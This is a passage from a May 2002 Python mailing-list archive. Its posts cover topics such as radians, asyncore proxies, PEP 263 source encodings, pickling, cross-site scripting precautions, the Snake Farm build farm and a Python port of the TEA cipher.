at nospam.demon.co.uk (Simon Foster) Date: Sun, 5 May 2002 00:00:34 +0100 Subject: degrees and radians. References: <3330ba.s35.ln@127.0.0.1> Message-ID: <3cd46857$0$8508$cc9e4d1f@news.dial.pipex.com> "Tim Hammerquist" wrote in message news:slrnad77g9.r1q.tim at vegeta.ath.cx... > > Radians are what trig is based on. Otherwise the formula for the area > > of a circle would be 'A = 360r'; since when does a unit circle have an > > area of 360 square units? > > Where do you get this from? A = pi * r^2? > > OTOH, `man 3 sin` on my system documents the sin() function of the C > > math library _is_ documented as taking radians. On a POSIX system, > > this is usually what is called by Ruby's Math.sin() method. > > Maybe he's not on Unix? From kragen at pobox.com Mon May 20 19:25:47 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 20 May 2002 19:25:47 -0400 Subject: asyncore sockets and proxy References: Message-ID: <83elg6pfk4.fsf@panacea.canonical.org> Rune Hansen writes: > I've got a streaming server/client setup programmed with asycore. The client > connects to the server on port 10002 and holds the connection forever. This > is all well until one introduces a proxy... > Is it possible to make such a connetion through a proxy? Depends on the proxy. Can you be more specific? I guess you're using TCP? Is it an HTTP proxy? Tends to work pretty well with HTTP proxies, but sometimes they buffer up several kilobytes and won't flush it until they receive more. > Is it possible to configure asyncore sockets to use a proxy for the > connection? A Socks proxy, a term proxy, a NAT, an HTTP proxy, or what? From ruediger.maehl_nospam at web.de Thu May 30 09:05:39 2002 From: ruediger.maehl_nospam at web.de (Ruediger Maehl) Date: Thu, 30 May 2002 15:05:39 +0200 Subject: Where can I find .join() in the docs Message-ID: Hello Pythoneers, could anyone please point me to the piece of documentation where I can find a description of .join() and all the others? R?diger From paoloinvernizzi at dmsware.com Mon May 20 03:53:44 2002 From: paoloinvernizzi at dmsware.com (Paolo Invernizzi) Date: Mon, 20 May 2002 09:53:44 +0200 Subject: Problems importing _sre w/VC7-compiled Python 2.1 References: <597ee21d.0205190526.4feffd31@posting.google.com> Message-ID: <3CE8AB88.8010600@dmsware.com> David Aldridge wrote: > After more investigation, turns out init_sre() was NOT > __declspec(dllexport)! Me too I'm playing with VC7... and waiting for an ufficial "patch" for this problem I usually add directly the export as a linker option in the newly generated VC7 projects file... Note that this is necessary also for other subprojects (like _socket, etc, etc) Paolo Invernizzi From sdm7g at Virginia.EDU Fri May 31 12:12:01 2002 From: sdm7g at Virginia.EDU (Steven Majewski) Date: Fri, 31 May 2002 12:12:01 -0400 Subject: semi-concatenated strings In-Reply-To: References: Message-ID: On 31 May 2002, Grant Griffin wrote: > Better yet would be if the parser would automatically concatenate incomplete > expressions (as identified by a line that ends with an operator), much as it > automatically concatenates incomplete list and dictionary initialization > statements. Then your example would become: > > rows = self.executesql("select cities.city, state, country" + > " from cities, venues, events, addresses" + > " where cities.city like %s" + > " and events.active = 1" + > " and venues.address = addresses.id" + > " and addresses.city = cities.id" + > " and events.venue = venues.id", > (city,)) > > which doesn't look so bad. (But then again, without the backslash it's less > explicit .) The above *ought* to work. The hanging "+" alone doesn't do the trick, but the hanging "(" does -- the parser knows it needs a matching ")" : >>> ( "one" + ... "two" + ... "three" ) 'onetwothree' ( Of course, it will work with the parends but *without* the "+" too! ) -- Steve Majewski From donn at u.washington.edu Wed May 29 12:49:54 2002 From: donn at u.washington.edu (Donn Cave) Date: 29 May 2002 16:49:54 GMT Subject: create a tmp file for system execution References: <3CF4E711.8A175798@millfilm.co.uk> Message-ID: Quoth Eric Texier : | I have a py script executing a bunch of os.system in a loop. | It is not very fast and I was wondering if it will not be better | to recreate a execution file. | | My 2 questions: | | 1) what is faster for a big number of call ... | os.system("csh -c 'source tmpFile' ") | os.system("rm -f tmpFile") You've already gotten some good answers, and you can answer your own questions pretty easily just by trying the things you propose to do. Here are two more points: - this takes 4 seconds "wall clock" time on my computer: import os import string s = ['ls something somethingelse']*2000 s.append('exit 17') s = string.join(s, '; ') t = os.system(s) (I added the "exit 17" just so I'd have some way to verify that it really did everything.) - If you have a file of commands, you don't need to "source" it, you can invoke the shell directly on the file - it's a "script". - Never use csh if you can avoid it, it's the worst of shells. The system() function uses "sh", and that's the right choice for most applications. - I'm assuming a UNIX platform. Donn Cave, donn at u.washington.edu From starx at pacbell.net Tue May 14 06:00:08 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 14 May 2002 10:00:08 GMT Subject: import question References: <3ce0d9f8.606424437@news.skynet.be> Message-ID: || Tue 14 May 2002 02:36:15a: > Hi all, > > Is there a way to import all possible Python-modules in a module with > a single call (or some other small elegant solution)? Not really. There's no 'import *', or god forbid 'from * import *' ;). You might be able to work something out by iterating over the files in sys.path and figureing out names to import from there. But, in any case, you'd be bloddy insane to do this. The modules that it would load vary from system to system for one thing -- and you'd have no idea what the hell would be in your namespace afterwards. But the most important reason i think would be that it would just kill your startup time for the script. Utterly. I mean, on my system here, doing such a thing would entail not just every single module in the standard library: sys os curses time urllib ftp telnet code random string xml dom minidom httplib socket threading thread and so on and so on and so on. this is just what cane to mind... i'm not sure of all the names. some of these probably have some load-time... but the most important is of course: tkinter on my system, there would also be: PIL wxPython numeric OpenGL.GL OpenGL.GLU openGL.GLUT and some more stuff i forget. All of which, except maybe PIL and numberic, have huge startup times on their own. If you happen to have any of these around, just for some other scripts, you really don't want to pull them in. Ok, ok... anyway. I have an idea that your problem might really be that you just have to import the same seven modules in every script you want to write 'cause they all do similar things. Well then, there IS a simpler solution to that. First make a file that has all of the modules that you need in it, just a bunch of 'import xyz' lines and nothin' else. Then, when you want that set, just do a 'from my_fave_modules import *' to get all the names you want. Sorry if i'm discohesive, i'm a little tired. =) -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From kseehof at neuralintegrator.com Fri May 3 09:46:00 2002 From: kseehof at neuralintegrator.com (Ken Seehof) Date: Fri, 03 May 2002 06:46:00 -0700 Subject: Low level python In-Reply-To: <3CD26E4E.9040605@tismer.com> Message-ID: Christian Tismer wrote: > Ken Seehof didn't write, but actually Matthew Sherborne wrote: > >>You guys are scaring me. I don't feel safe on the cutting edge! > >> > >>It actually doesn't look that hard using WinDriver (they even > have device > >>drivers written in VB!) > >> > >>One prob I have to convince the rent payers: It uses 2-3Mb of RAM when > >>running! Who wants a 3Mb device driver? > >> > >>I remember that deeply embedded python recompile python > dropping langauge > >>features out. Is there an easy way to do this? > > Yes but why. > > >>Anyone know how I can reduce the memory footprint of Python? > > Write all your device drivers and finally your system > with this one Python kernel. Then you are small, > compared to what we have nowadays. > > >>Matthew Sherborne > > > > Then Ken wrote this: > > Yeah. You could write the operating system in python! That way all the > > python device drivers won't cost extra :-) > > > > But seriously, you should check out Gordon McMillan's work: > > http://starship.python.net/crew/gmcm/distribute.html Christian: > I think this is serious. Who really needs an operating > system, a file system and all of that? > Forgetting about other applications, I really believe > that one could write a pretty nice OS with Python, > object oriented from the ground. > > This would be a real fun project, > provided there were fun-ding. :-) > > -- > Christian Tismer :^) Watch those attributions ;-) My fault, since I neglected to include an attribution to Matthew on my previous post. But I guess that could be inferred by the number of >>'s if people read very carefully :-) - Ken Seehof From jvanasco at hotmail.com Fri May 10 02:21:16 2002 From: jvanasco at hotmail.com (Jonathan Vanasco) Date: Fri, 10 May 2002 06:21:16 +0000 Subject: making postscript of pdf files Message-ID: i'm hoping to write a python script to make some daily stats stuff into a (preferably) postscript file, or possibly a pdf or tiff image. Just really to get the text on there underneath a standard header. I could find 1,000,000 leads on how to do this in perl , but i'd rather attempt this in python first. Can anyone give me some tips/pointers? _________________________________________________________________ Chat with friends online, try MSN Messenger: http://messenger.msn.com From huaiyu at gauss.almadan.ibm.com Thu May 30 21:23:44 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Fri, 31 May 2002 01:23:44 +0000 (UTC) Subject: Why no open(f, "w").write()? References: Message-ID: Delaney, Timothy wrote: >> From: Donn Cave [mailto:donn at drizzle.com] >> >> You're describing a language other than C Python. In C Python, you >> *may* close files and rely on other kinds of finalizations through >> the reference counting garbage collector, and the result is as timely >> as if you did it explicitly. That's finalization as it ought to be, >> and it's a shame that other languages compromise on that. Lots of >> people don't think it's important, but then the majority of >> programmers >> think it's OK that their programming language requires them to keep >> track of memory in the same way. > >I would be very happy for this to be the case. > >However, CPython is not a language where you can rely on timely >finalisation. > >1. The documentation explicitly states that you cannot. Anything else is an >implementation artifact. There is a fine difference between what you can rely on for generic Python and what you can rely on for CPython. Should we regard the documentation as the most authoritative source for CPython in particular? Obviously when it comes the other way, no one would deny that you can rely on the existence of certain Java classes in Jython which do not exist in Python documentation. I've been relying on the timely garbage collection by ref-counting. After reading the whole thread I think I'd still trust it given what Fran?ois wrote about implicit guarantees. These things cannot be broken in future versions without causing a big uproar. When porting to Jython there are other issues to consider beside open files. They are part of the porting cost. To guard against them all in CPython for any program that might never be ported is likely to cost much more. The rest of the problems you listed concern situations where ref-count does not go down to zero, which is a different issue from the one-liners in consideration. > >2. The thing you expect to be finalised may have another reference >somewhere. Are you 100% sure that no function you've passed it to has held a >reference to it in a cache? > >3. Your object may be in a cycle. This will result in a non-timely >finalisation. > >4. Your object may be in a cycle where Python explicitly punts and doesn't >run the finalisers. > >Tim Delaney > > Huaiyu From quest at lysator.liu.se Fri May 24 02:38:18 2002 From: quest at lysator.liu.se (Anders Qvist) Date: Fri, 24 May 2002 08:38:18 +0200 Subject: Snake Farm call for participation Message-ID: <20020524063818.GC1094@lysator.liu.se> Lysator announces the Snake Far -- call for participation We are in the process of putting together a build farm for Python and Python modules. What are you trying to do? We're trying to get Python to dependably build on a wider set of Unices. The ultimate goal is to make Python into a ubiqutous piece of software you can expect to find on any Unix system. Why? The immediate reason is that the Python Business Forum (PBF) suggested that a build farm would be a good thing to have, and we at Lysator Academic Computer Society thought it sounded like a cool project. Many of the society's members are great fans of Python. Having robust Python distruibutions of Python is one of the core goals if the PBF. Personally, Python has meant a lot to me (Anders Qvist), and I want to give something back. Who are you? Currently, the project consists of members of the Lysator Academic Computer Society at the University of Link?ping, Sweden and members of the PBF. The project is coordinated by Anders Qvist. Anyone can join our english-speaking mailing list (snake-farm at lists dot lysator dot liu dot se) at: http://lists.lysator.liu.se/mailman/listinfo/snake-farm Our official web site (currently under development) at: http://www.lysator.liu.se/~sfarmer Lysator is the Unix-friendly Computer Society at Link?ping University. Lysator is one of the oldest computer societies in Sweden and has over 200 members. Doesn't this require lots of hardware? Lysator has a large and diverse collection of UNIX architectures, which is now put to work trying to build and test Python source code on a nightly basis. HP-UX, Solaris, Linux, AIX, UNICOS och Ultrix are among the OSes we want to try to produce robust versions of Python that pass the test suites. http://www.lysator.liu.se/local/datorhandbok/maskiner.html How can I help? Trying to build the stuff is only a small part of the job. The big task is to make sure it builds *successfully* - and keeps building. You can help by tracking the build reports and trying to figure out what breaks the builds and submitting patches. Join the mailing list, participate in the debate and make sure that your favourite Unix is among the ones that can run Python. Also, if you have hardware that isn't on our list, you're extra welcome to join the build farm. What happens next? The first step is to get a simple system ready, which builds and tests the Python source code on various Unix platforms and reports the results to the snake-farm mailing list, so we can keep Python stable on a wide selection of Unices. Expect this to happen in May. In the future, we want to add widely used Python extensions to be built against the latest Python source. This way developers will get heads-ups about API breakages. We also want to gather some statistics on the build process and present it on a web page. Which architectures build and test successfully right now, when did they last build or test successfully and maybe some graphs. While we're at it, the binaries for the various platforms should be harvested and published in a directory accessible by HTTP, so others can download and install them, without having to build them. These binaries may eventually be the reference binaries the PBF wants. The current design does not allow others to patch the source code in order to try to fix build failures on various platforms. Allowing this has serious security implications, since this would include modifications to the makefiles, which can execute arbitrary shell commands. References http://www.lysator.liu.se/~sfarmer Official Snake Farm home page. http://lists.lysator.liu.se/mailman/listinfo/snake-farm Snake Farm mailing list join page. http://cvs.lysator.liu.se/viewcvs/viewcvs.cgi/?cvsroot=snake-farm Scripts for the current snake farm. http://www.lysator.liu.se/ Link?ping University Academic Computer Society. An english version is available from start page. http://www.lysator.liu.se/local/datorhandbok/maskiner.html Page in swedish, but the relevant info is universally understandable. http://pbf.nuxeo.org/ The Python Business Forum. Project Coordinator, Anders "Quest" Qvist -- Anders "Quest" Qvist "We've all heard that a million monkeys banging on a million typewriters will eventually reproduce the entire works of Shakespeare. Now, thanks to the Internet, we know this is not true." -- Robert Wilensky From martin at v.loewis.de Sat May 11 09:41:20 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 11 May 2002 15:41:20 +0200 Subject: Comment on PEP 263 - Defining Python Source Code Encodings References: Message-ID: Robin Becker writes: > ...... Which editors use this? I suppose emacs/xemac or similar, but > since emacs is a minority editor (even amongst unixers) I think that > the recognition pattern issue is open. A vi(m) compatible thing reaches > a larger audience, but then I use that :) Actually, the PEP defines a regex that allows for fileencoding= which is syntax supported by vim. Unfortunately, in vim 6, this doesn't quite work: vim applies the setting at a time when it already has decided what encoding to use. > No doubt pythonwin will follow whatever is decided, but what about mac > users and all the people using notepad, ed, bliss etc etc? Notepad users should use "save as UTF-8". This inserts the UTF-8 signature, which is also supported by the PEP. I don't know what editors are used on the Mac, and how they can be instructed to use an encoding which potentially differs from the one of the current locale. > It would be nice to know which editors (today) are unicode aware and how > they do the encoding recognition thing. If we then also had usage > figures, perhaps there could be a reasonable numbers game. We do, see my list above. I expect that any editor that is "unicode aware" will support the UTF-8 signature, atleast when reading (hopefully also when writing). > As for the PEP itself the only snag seems to me to be the BOM + comment > problem. If I change the BOM by hitting saveAs myWeirdEncoding the file > is a dead python unless I also change the comment (or is that an issue > only with utf8 at present?). I'm not sure I understand the problem. If you do saveAs myWeirdEncoding, there won't be a BOM in the file unless myWeirdEncoding is UTF-8. If there are multiple conflicting encoding specifications in a file, the file is in error. Regards, Martin From bkline at rksystems.com Wed May 1 21:11:36 2002 From: bkline at rksystems.com (Bob Kline) Date: Wed, 1 May 2002 21:11:36 -0400 Subject: Continuation after 100 header in httplib References: Message-ID: "Jeremy Hylton" wrote in message news:b0f083db.0205011308.6618003 at posting.google.com... > "Bob Kline" wrote in message news:... > > I'm looking through the docs for the httplib module, and I can't find any > > way to get the next set of headers and the message body when the server > > sends back a status code of 100 ("Continue"). .... > > No. It really seems to be overlooked, and the module author hasn't > had time to fix it. I'd be really happy to see someone in the > community fix this problem, as none of the developers seems to have > the right combination of expertise and time. Sure, I'll give it a try. As far as I can tell from refreshing my memory with the RFC, all the code needs to do is swallow the headers that accompany the 100 status code and proceed as if they had never existed, right? Where should I send the patch? Bob From mwarden22 at hotmail.com Wed May 22 16:33:21 2002 From: mwarden22 at hotmail.com (nealj) Date: 22 May 2002 13:33:21 -0700 Subject: Embedded Python script debugger??? References: Message-ID: Hap could be adapted to do this quite easily (in fact I will be doing it in the next few weeks). Currently, Hap uses an app that takes the place of python.exe to execute the python scripts. This app handles the socket and the debugging stuff - instead of "hapclient.exe", it could just as easily be your application that gets run. My plan is to repackage the code in the app to make this easier - then all you would have to do is to link to a dll and you're off. Keep an eye on the Hap site on sourceforge - there will be important and interesting updates coming soon. If you are intersted in trying it out, get the source from SourceForge (its currently only there in .zip format) and take a look at ConsoleEmbed.cpp in the HapClient directory - you'll see it doesn't really do much other than setup the debugging and run the script. Let me know if you have any questions - the best way to get in contact is through the sourceforge email https://sourceforge.net/users/nealj/ Good Luck! Neal From laura at wolf2.eecs.umich.edu Fri May 17 11:18:25 2002 From: laura at wolf2.eecs.umich.edu (Laura Falk) Date: 17 May 2002 11:18:25 -0400 Subject: pickling and __safe_for_unpickling__ Message-ID: I'm on my first python program and ran into a python error while unpickling my items from a socket. In reading the docs, I've found that an attribute needs to be set __safe_for_unpickling__ but when I try to set it but get an erro "object has read-only attributes". I set the attribute as follows (I'm probably setting it incorrectly) class fileinfo: def __init__(self,file,cat,dir,name,dir_file,time,mode): self.file = file self.cat = cat self.dir = dir self.name = name self.dir_file = dir_file self.time = time self.mode = mode self.__safe_for_unpickling__=1 The docs also mention copy_reg so I removed the last line in the above and then placed the following outside the class and then used the following: copy_reg.constructor(fileinfo) When I ran the program again, I got the following: Traceback (most recent call last): File "./server.py", line 21, in ? accepter.unpackinfo(data) File "./accepter.py", line 16, in unpackinfo p._is_string_secure=1 TypeError: object has read-only attributes I'm come to the conclusion that I'm thoroughly confused as to how I need to tell python that my data is safe to unpickle. Can anyone give me advice/help with this problem? I'm very new to python (I'm still in my first week since I started reading the book and programming with python.) Thanks very much for any help!! --Laura Falk From aleax at aleax.it Mon May 6 02:54:23 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 06 May 2002 06:54:23 GMT Subject: Creating C modules for Python under Cygwin References: <3CD41CC4.5752F30C@wag.caltech.edu> <6DoB8.89183$o66.280563@news-server.bigpond.net.au> Message-ID: Neil Hodgson wrote: ... > While you can link against executables, you should avoid doing so in > most > cases. The common case where this occurs is where a DLL is mostly a > library that provides services consumed by the executable but a need > appears for a call back into the executable. You then have two binaries > which depend on each others export libraries to link. To resolve the When the EXE loads the DLL dynamically, it need not depend on the DLL's export library to link. Therefore, the dependency is not cyclical and we're outside the "most cases" where the DLL -> EXE linktime dependency should be avoided. For example, when Python loads an extension from a _GEER.DLL to satisfy an "import _GEER", Python will have no linktime dependency on _GEER.LIB, and that doesn't change whether _GEER.DLL is linked against the EXE itself, some common DLL, or neither. After the LoadLibrary call, Python will then use GetProcAddress for "init_GEER" and, if found, transfer control to that entrypoint. There is absolutely no problem whether _GEER.DLL now calls back into the EXE directly, or into a DLL they both share. >> I wonder what those "other reasons" could be, though. What exactly >> *is* the rationale for Python using a DLL on Windows? > > COM. If you want to use COM objects implemented in Python in-process > from > arbitrary executables such as IIS or IE, then you can't require linking to > another executable. Yes, that's good motivation -- any EXE needs a further process, so, if you want to be able to run in the same process as your client, you do need to pack your functionality up in a DLL (and further precautions). Alex From paul at boddie.net Fri May 24 07:07:50 2002 From: paul at boddie.net (Paul Boddie) Date: 24 May 2002 04:07:50 -0700 Subject: Python cross-site scripting exploits? References: Message-ID: <23891c90.0205240307.3eca7a57@posting.google.com> "Erlend J. Leiknes" wrote in message news:... > The python cgi lib doesnt offer any security at all. > The url entered by the client is the one that will end up in your cgi > script, and you will have to perform your own security checks on it, which I > think is a good thing (Who want your programming language to halt your work > in a windoze way?) I don't really see what Windows has to do with security checks in either a programming language or its libraries. You might have a point if you were to refer to Java's security model, however. > from www.python.org online docs > (http://www.python.org/doc/current/lib/cgi-security.html) > 11.2.6 Caring about security > There's one important rule: if you invoke an external program (via the > os.system() or os.popen() functions. or others with similar functionality), > make very sure you don't pass arbitrary strings received from the client to > the shell. [...] The problem with this advice with respect to cross-site scripting exploits is that the advice is only partially relevant in the light of such exploits. Yes, one should always treat untrusted input very carefully and to try and avoid recycling that input, but the well-known, longstanding precaution of not just passing anything you've received to the shell doesn't in any way suggest that emitting input data in generated HTML pages could be dangerous. It is common knowledge that if you're writing a HTML message board program, it may be advisible to disallow the posting of arbitrary HTML, but this is only strikingly obvious because of the nature of the interactions between the user and the software - they are actually being allowed to post content onto your site. Still, such restrictions have typically been enforced to prevent "mischief", whereas the exploits under discussion are more serious than that. So, even if someone were to religiously follow the above advice, and I suppose that most developers have been doing so since around 1995, when most people stopped even considering writing the smallest of CGI scripts in various shell languages anyway, they could still be surprised by the exploits being discussed here. Of course, there are other kinds of shell-like exploits such as the ineffectual use of SQL-quoting on untrusted data in an application, but I would argue that the exploits being discussed here are conceptually almost different. I suppose the best advice is: don't allow user data to enter your "command/instruction model" - keep data and instructions separate at all times. Paul From akuchlin at ute.mems-exchange.org Fri May 24 14:15:35 2002 From: akuchlin at ute.mems-exchange.org (A.M. Kuchling) Date: 24 May 2002 18:15:35 GMT Subject: How Are Unlimited Precision Integers Accomplished? References: Message-ID: In article , Michael Chermside wrote: > >>> big = 1L << (2**31 - 1) > >>> big <<= 15 > >>> big += 1 > >>> big <<= 45 To really break things, I think this should really be something like: >>> exp = 2**31L - 1 >>> exp 2147483647L >>> exp = exp * 15 >>> exp 32212254705L >>> 1 << exp Traceback (most recent call last): File "", line 1, in ? OverflowError: long int too large to convert to int >>> Also note that Python can't print the value of your 'big' variable; it gets a MemoryError. --amk From dalke at dalkescientific.com Thu May 9 14:12:37 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Thu, 9 May 2002 12:12:37 -0600 Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> <82adrehag0.fsf@acropolis.localdomain> <821ycqjayi.fsf@acropolis.localdomain> <3CD5F1CC.A65C4AE0@engcorp.com> <3CD77BF0.49C749B2@cascade-sys.com> <3CD8B28B.C610082@engcorp.com> <3CD92111.7060704@mxm.dk> <878z6tx3fo.fsf@tower.localdomain> Message-ID: James J. Besemer >Funniest mistake I ever ran into was at one point I was supposed to come >up with a simple encryption algorithm. Somehow I discovered "TEA" the >Tiny Encryption Algorithm, which sounded ideal: > > http://vader.brad.ac.uk/tea/tea.shtml > ... >Of >course, the algorithm relied on a Ring of 32 bit integers and Python >complains about overflow. I was not aware of a way to shut off the >overflow checks (still don't) and exceptions wouldn't help as they give >you control after the bad code has been taken out of circulation. ... > I pondered for a while adding the necessary masking operations but > decided it was not sane. Why isn't it sane? I think suppressing overflow checks isn't the right way to think about it but masking is. Here's the ANSI C version from that page, for encoding void encipher(const unsigned long *const v,unsigned long *const w, const unsigned long * const k) { register unsigned long y=v[0],z=v[1],sum=0,delta=0x9E3779B9, a=k[0],b=k[1],c=k[2],d=k[3],n=32; while(n-->0) { sum += delta; y += (z << 4)+a ^ z+sum ^ (z >> 5)+b; z += (y << 4)+c ^ y+sum ^ (y >> 5)+d; } w[0]=y; w[1]=z; } Here's the (completely untested and probably incorrect Python but close enough for the gist) def encipher(v, k): low32bits = 2L**32-1 high32bits = low32bits << 32 y = v & low32bits z = v & high32bits sum = 0L delta = 0x9E3779B9 a = k & low32bits b = k & high32bits c = (k>>32) & low32bits d = (k>>32) & high32bits for i in range(32): sum += delta y = (y + (z << 4)+a ^ z+sum ^ (z >> 5)+b) & low32bits z = (z + (y << 4)+c ^ y+sum ^ (y >> 5)+d) & low32bits return w Seems reasonable enough to me, and not very insane. This works, btw, on Python's long integers, which is more sane (IMO) than C's "unsigned long *" for passing in a 64 or 128 bit value. Andrew From ASkwar at DigitalProjects.com Thu May 2 10:40:16 2002 From: ASkwar at DigitalProjects.com (Alexander Skwar) Date: Thu, 2 May 2002 16:40:16 +0200 Subject: Killing a running thread In-Reply-To: <20020502100911.A16352@eecs.tufts.edu> References: <5F5E25C9F098D3119F140008C784457304DFD0D1@tdi_nt9.tdi.co.uk> <20020502131214.GI13641@teich.Garten.DigitalProjects.com> <20020502100911.A16352@eecs.tufts.edu> Message-ID: <20020502144016.GA16810@teich.Garten.DigitalProjects.com> ?Michael Gilfix? sagte am 2002-05-02 um 10:09:11 -0400 : > In Python you need to break your loops up into chunks and check a > have a threading.Event () object that you check if set. So something > like: > > done = threading.Event () > > line = file.readline () > while line and not done.isSet (): > # do stuff > line = file.readline () > > Or.. > > for line in file.xreadlines (): > if done.isSet (): > break Yes, that's for the easy case of the readline loop. However, how could I break up a file.write() or a map()? Alexander Skwar -- How to quote: http://learn.to/quote (german) http://quote.6x.to (english) Homepage: http://www.iso-top.de | Jabber: askwar at a-message.de iso-top.de - Die g?nstige Art an Linux Distributionen zu kommen Uptime: 8 days 9 hours 39 minutes From rob at zoism.org Mon May 6 17:00:53 2002 From: rob at zoism.org (Rob Brown-Bayliss) Date: 07 May 2002 09:00:53 +1200 Subject: streaming audio In-Reply-To: References: Message-ID: <1020718853.25762.7.camel@orion.zoism.org> On Tue, 2002-05-07 at 02:30, brueckd at tbye.com wrote: > If possible, avoid actual streaming protocols as they are quite convoluted > and proprietary. As long as the client end of the connection supports it > and you have a fast enough connection (and you do since you're using a > LAN), a simple progressive download is the way to go. Yes, A simple download would work fine, and if thats all I wanted I would use XMMS or a similar app plugged into a decent amplifier. But I want to be able to create "streams" on the server that can be connected to from any room, eg: a party stream and have all rooms playing the same sound in sync. So I belive I need some way of checking,I guess I could have all clients communicate with the server to make sure they start each song at the same time then just download from the server? -- R Brown-Bayliss ---====<=>=====--- http://zoism.org From gruesome at go2.pl Sun May 26 12:02:44 2002 From: gruesome at go2.pl (Artur Siekielski) Date: Sun, 26 May 2002 16:02:44 +0000 (UTC) Subject: len() and __len__ Message-ID: Is there any difference between len(a) and a.__len__() in Python 2.2? From schitz0boy at hotmail.com Tue May 28 05:16:35 2002 From: schitz0boy at hotmail.com (Corey Woodworth) Date: 28 May 2002 02:16:35 -0700 Subject: Newbie Database. References: <24d8090a.0205270854.6cadc50b@posting.google.com> <918bc22f.0205271741.5b64aa4a@posting.google.com> Message-ID: <24d8090a.0205280116.4e015bbc@posting.google.com> donnal at donnal.net (Donnal Walter) wrote in message news:<918bc22f.0205271741.5b64aa4a at posting.google.com>... > schitz0boy at hotmail.com (Corey Woodworth) wrote ... > > How should I save my database file for instance? I was thinking a text > > file full of strings like this perhaps: > > > > songname::artist::performer::filename:: ... ... > > > > If you have some reason not to use the built-in pickle module or > shelve, you might consider formatting your database using XML (with or > without newlines): I have no reason. I just don't know much about them. > > > Watermark > > > Enya > > I think such a system might be a little verbose. I'm really interested in pickle and shelve though. Are there any good intros into them? > Donnal Walter > Arkansas Children's Hospital From quinn at lira.ugcs.caltech.edu Sun May 19 18:34:54 2002 From: quinn at lira.ugcs.caltech.edu (Quinn Dunkan) Date: 19 May 2002 22:34:54 GMT Subject: B: Objects References: <1e140f34.0205170607.c18dece@posting.google.com> Message-ID: On 17 May 2002 07:07:30 -0700, Terje Johan Abrahamsen wrote: >I have just started to learn Python after writing more of a spagetti >style code in other languages with plenty of goto's. After what I have >understood, you use different objects in Python to get the same >effect. No, not really. Goto is a very generic feature. Modern languages generally have a whole host of more specialized things to replace them, like loops, if-then, functions, etc. Sounds like FORTRAN or something experience is tripping you. > So, I took my task, to transfer Excel data over to an AS400 >display, and divided the task into 4 separate parts. Basically what I >want the four parts to do is: >Accountcurrentstest: > Run the other tasks and stop when it gets the stop command from >finnxlpol. (When stopper = 5). > >Finnxlpol: > Find the next policynumber in Excel. These are located in the A >collumn. When there are no more policynumbers, set stopper = 5, so >accountcurrentstest can stop the whole thing. > >finnpolicy: > Find the policy that finnxlpol returned in the As400 display. > >skriv: > When finnpolicy has found the correct line, get the amount info >from Excel, and paste it into the AS400 display. When this is done, >the whole process should start again. > >The 3 last tasks works ok. I can run them, and they do what I want >them to do. Run them how? When you call them from the prompt? I wouldn't expect the code below to work at all. >them to do. My problem is the first one. How can I get the >accountcurrentstest to run the others? Well, actually it runs the >others, but there always ends up being errors. Like xlrow is not >defined. Even thought I tried with a config.py file that contained >'pass' and then wrote config.xlrow and so forth it didn't work. I have >tried writing global in front of all variables, and it didn't work >either. I have rewritten the thing probably 20 times, but it will not >work. (I know that the accountcurrentstest will not work with the code >I have now, but I have tried to take one step at a time, and include >more and more of what I want. But, it stops in the start, and this is >where I am now.) If you want to pass values from one place to the next, use function arguments. Also, rewriting something N times is not going to help you as much as figuring out what you're doing. Random guessing is usually not efficient (and is frustrating besides). >Could anyone give me a little hint about how I can fix this problem? >Thanks a lot in advance...... Um, well, I don't know anything about win32 stuff, but it sounds like you need to spend some time picking up the basics of "structured" programming. Check out some of the "beginning programmer" python tutorials on the web with an open mind, forgetting what you know about your previous language. Pay special attention to the parts about 'functions' and 'variable scope', since I suspect these concepts were absent from your previous language. >----------- >from win32com.client import Dispatch >import finnxlpol >import skriv >import finnpolicy >import config > >class accountcurrentstest: Umm, I don't think 'class' is doing what you think it's doing here, but I don't really know what you think it's doing. Anyway, it's wrong :) maybe: def xls_test(fn): # then write ...Open(Filename=fn) below > xl = Dispatch("Excel.Application") > ex = Dispatch("Extra.System") > stopper = 0 > xlrow = 1 > xlcol = 1 > global exrow > exrow = 15 > excol = 4 > polchar = 10 One of the things functions give you is scoping, which means if you don't use those variables before the end of the indent, they'll never get used for anything. If you want someone to see it, pass it as an argument. > xl.Workbooks.Open(Filename='H:\\My documents\\account currents >test.xls') > xlBook = xl.Workbooks(1) > xlSheet = xl.Sheets(1) > > while stopper != 5: > xlpol2 = finnxlpol.xlpol() > print xlpol2 > stopper = 5 This while loop is functionally identical to: print finnxlpol.xlpol() > >------------------- > >from win32com.client import Dispatch > >class finnxlpol(): Something tells me you haven't actually tried this code... maybe because the above is a syntax error, and the function call in the above file was xlpol(), and you define 'finnxlpol'. In any case, I'm hoping 'finnxlpol' is a really meaningful name in Finnish or whatever. Aztec? > xl = Dispatch("Excel.Application") > ex = Dispatch("Extra.System") > xlBook = xl.Workbooks(1) > xlSheet = xl.Sheets(1) > xlrow = 1 + xlrow > xlpol = xlSheet.Cells(xlrow, 1).Value > if xlSheet.Cells(xlrow, 1).Value == None: > stopper = 5 This function uses 'xlrow' 'xlpol' and xlSheet', so they need to be passed as an argument. I randomly suggest replacing the syntax error with something like def finnxlpol(xlSheet, xlrow, xlpol): (and then calling it properly) >-------------------- > >from win32com.client import Dispatch > >def finnpolicy(): > > ex = Dispatch("Extra.System") > expol = ex.ActiveSession.Screen.GetString(exrow, excol, polchar) > exrow = 13 > > while expol != xlpol: > exrow = exrow + 1 > expol = ex.ActiveSession.Screen.GetString(exrow, excol, >polchar) > print expol, exrow > if exrow > 21: > ex.ActiveSession.Screen.SendKeys("") > exrow = 13 Likewise, you need to define 'polchar', either by assigning it within finnpolicy() or passing it as an argument. >from win32com.client import Dispatch > > >def skriv(): > xl = Dispatch("Excel.Application") > ex = Dispatch("Extra.System") > xlBook = xl.Workbooks(1) > xlSheet = xl.Sheets(1) > xlamount = xlSheet.Cells(xlrow, 3).Value > ex.ActiveSession.Screen.Select(exrow, 66, exrow, 76) > ex.ActiveSession.Screen.Paste() Ditto. Is there any particular reason you have these each in their own file? All that importing is a lot of work for not much gain. So. Go read some tutorials. You're missing some fundamentals. Once 